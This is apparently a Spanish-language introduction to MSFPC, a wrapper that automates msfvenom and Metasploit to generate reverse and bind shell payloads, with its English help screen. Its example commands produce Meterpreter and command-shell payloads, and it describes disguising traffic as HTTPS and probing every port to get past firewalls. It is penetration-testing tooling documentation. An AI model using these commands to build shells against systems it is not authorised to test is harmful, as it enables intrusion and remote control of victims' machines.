MSFvenom Payload Creator (MSFPC) es un wrapper para generar múltiples tipos de payloads, basados en la elección del usuario. La idea es ser tan simple como sea posible (sólo requiere una entrada) para producir un payload.

El objetivo final es la completa automatización de msfvenom y Metasploit (así como ser capaz de automatizarse a sí mismo). El resto es hacer que la vida del usuario sea lo más sencilla posible (por ejemplo mediante un menú de selección de IP, archivos/comandos de recursos de msfconsole, creación de payloads por lotes y posibilidad de ingresar cualquier argumento en cualquier orden).

La única entrada necesaria del usuario debería ser la definición que quiere del payload con la plataforma (por ejemplo, Windows) y la extensión de archivo que quiere que tenga (por ejemplo, exe).

• ¿No puedes recordar la IP de una interfaz? No te preocupes, simplemente usa el nombre de la interfaz: eth0.
• ¿No sabes cuál es tu IP externa? MSFPC lo descubrirá: wan.
• ¿Quieres generar un payload de cada? ¡Sin problema! Prueba: loop.
• ¿Quieres crear payloads masivamente? ¿Todos? ¿O filtrar la selección? .. Se cual sea la elección no hay problema. Prueba: batch (para todos), batch MSF (para cada opción Meterpreter), batch staged (para todos los payloads staged) o batch cmd stageless (para todos los prompts de comandos stageless)!

Nota: Esto NO intentará bypassear ninguna solución antivirus en ninguna etapa.

Instalación

• Diseñado para Kali Linux v2.x/Rolling y Metasploit v4.11+.
• En Kali v1.x debería funcionar.
• En OSX 10.11+ debería funcionar.
• En Weakerth4n 6+ debería funcionar.
• ...no se ha probado en nada más.

$ curl -k -L "https://raw.githubusercontent.com/g0tmi1k/mpc/master/msfpc.sh" > /usr/local/bin/msfpc
$ chmod 0755 /usr/local/bin/msfpc

Kali-Linux

MSFPC está ya en los repositorios de Kali Rolling, por lo que sólo tenemos que ejecutar:

root@kali:~# apt install -y msfpc

Ayuda

 [*] MSFvenom Payload Creator (MSFPC v1.4.4)
 
  [i] Missing TYPE or BATCH/LOOP mode
 
  /usr/local/bin/msfpc <TYPE> (<DOMAIN/IP>) (<PORT>) (<CMD/MSF>) (<BIND/REVERSE>) (<STAGED/STAGELESS>) (<TCP/HTTP/HTTPS/FIND_PORT>) (<BATCH/LOOP>) (<VERBOSE>)
    Example: /usr/local/bin/msfpc windows 192.168.1.10        # Windows & manual IP.
             /usr/local/bin/msfpc elf bind eth0 4444          # Linux, eth0's IP & manual port.
             /usr/local/bin/msfpc stageless cmd py https      # Python, stageless command prompt.
             /usr/local/bin/msfpc verbose loop eth1           # A payload for every type, using eth1's IP.
             /usr/local/bin/msfpc msf batch wan               # All possible Meterpreter payloads, using WAN IP.
             /usr/local/bin/msfpc help verbose                # Help screen, with even more information.
 
  <TYPE>:
    + APK
    + ASP
    + ASPX
    + Bash [.sh]
    + Java [.jsp]
    + Linux [.elf]
    + OSX [.macho]
    + Perl [.pl]
    + PHP
    + Powershell [.ps1]
    + Python [.py]
    + Tomcat [.war]
    + Windows [.exe // .exe // .dll]
 
  Rather than putting <DOMAIN/IP>, you can do a interface and MSFPC will detect that IP address.
  Missing <DOMAIN/IP> will default to the IP menu.
 
  Missing <PORT> will default to 443.
 
  <CMD> is a standard/native command prompt/terminal to interactive with.
  <MSF> is a custom cross platform shell, gaining the full power of Metasploit.
  Missing <CMD/MSF> will default to <MSF> where possible.
 
  <BIND> opens a port on the target side, and the attacker connects to them. Commonly blocked with ingress firewalls rules on the target.
  <REVERSE> makes the target connect back to the attacker. The attacker needs an open port. Blocked with engress firewalls rules on the target.
  Missing <BIND/REVERSE> will default to <REVERSE>.
 
  <STAGED> splits the payload into parts, making it smaller but dependent on Metasploit.
  <STAGELESS> is the complete standalone payload. More 'stable' than <STAGED>.
  Missing <STAGED/STAGELESS> will default to <STAGED> where possible.
 
  <TCP> is the standard method to connecting back. This is the most compatible with TYPES as its RAW. Can be easily detected on IDSs.
  <HTTP> makes the communication appear to be HTTP traffic (unencrypted). Helpful for packet inspection, which limit port access on protocol - e.g. TCP 80.
  <HTTPS> makes the communication appear to be (encrypted) HTTP traffic using as SSL. Helpful for packet inspection, which limit port access on protocol - e.g. TCP 443.
  <FIND_PORT> will attempt every port on the target machine, to find a way out. Useful with stick ingress/engress firewall rules. Will switch to 'allports' based on <TYPE>.
  Missing <TCP/HTTP/HTTPS/FIND_PORT> will default to <TCP>.
 
  <BATCH> will generate as many combinations as possible: <TYPE>, <CMD + MSF>, <BIND + REVERSE>, <STAGED + STAGLESS> & <TCP + HTTP + HTTPS + FIND_PORT> 
  <LOOP> will just create one of each <TYPE>.
 
  <VERBOSE> will display more information.